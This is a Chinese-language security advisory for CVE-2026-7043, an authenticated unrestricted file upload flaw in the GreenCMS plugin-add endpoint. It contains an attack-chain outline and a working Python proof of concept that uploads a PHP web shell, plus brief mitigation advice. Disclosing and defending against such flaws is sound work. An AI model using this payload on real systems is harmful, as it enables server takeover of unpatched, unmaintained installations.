IPBUF安全漏洞报告
English
CVE-2026-7043 CVSS 6.3 中危

CVE-2026-7043 GreenCMS 任意文件上传漏洞

披露日期: 2026-04-26

漏洞信息

漏洞编号
CVE-2026-7043
漏洞类型
任意文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GreenCMS

相关标签

任意文件上传GreenCMSCVE-2026-7043远程代码执行Web安全

漏洞概述

GreenCMS 2.3及以下版本被发现存在安全漏洞。该漏洞源于/index.php?m=admin&c=custom&a=pluginadd接口中的pluginAddLocal函数未能正确限制文件上传类型。攻击者无需用户交互,仅需低权限即可远程发起攻击,上传恶意文件,从而导致服务器被控制。目前该产品已停止维护。

技术细节

该漏洞位于GreenCMS后台的插件自定义添加功能中。在处理pluginAddLocal请求时,服务器端代码未对上传文件的扩展名、MIME类型及文件内容进行严格校验。攻击者可利用这一缺陷,构造包含恶意代码(如PHP WebShell)的文件包发送至服务器。由于程序直接将文件保存到Web可访问目录,攻击者随后可直接请求该文件触发代码执行,进而获取服务器权限。由于攻击向量为网络且无需用户交互,该漏洞利用门槛较低。

攻击链分析

STEP 1
侦察
识别目标服务器运行的是GreenCMS 2.3或更早版本。
STEP 2
认证
获取低权限账户凭证(CVSS PR:L),登录后台。
STEP 3
漏洞利用
向/index.php?m=admin&c=custom&a=pluginadd端点发送特制的POST请求,上传恶意脚本文件。
STEP 4
执行代码
通过浏览器访问已上传的文件路径,在服务器端执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-7043: GreenCMS Unrestricted File Upload import requests def exploit(url, shell_name): target_url = f"{url}/index.php?m=admin&c=custom&a=pluginadd" # Prepare a malicious PHP file files = { 'file': (shell_name, '<?php system($_POST["cmd"]); ?>', 'application/octet-stream') } # Note: Authentication cookies might be required based on PR:L cookies = { 'PHPSESSID': 'your_session_id_here' } try: response = requests.post(target_url, files=files, cookies=cookies) if response.status_code == 200: print(f"[+] File uploaded successfully. Check at: {url}/uploads/{shell_name}") else: print(f"[-] Upload failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost" exploit(target, "shell.php")

影响范围

GreenCMS <= 2.3

防御指南

临时缓解措施
建议立即禁用受影响的插件功能或限制后台管理访问IP。由于官方不再提供更新,最有效的缓解措施是在Web服务器层面(如Nginx或Apache)配置安全规则,拦截对上传目录中脚本文件的直接访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表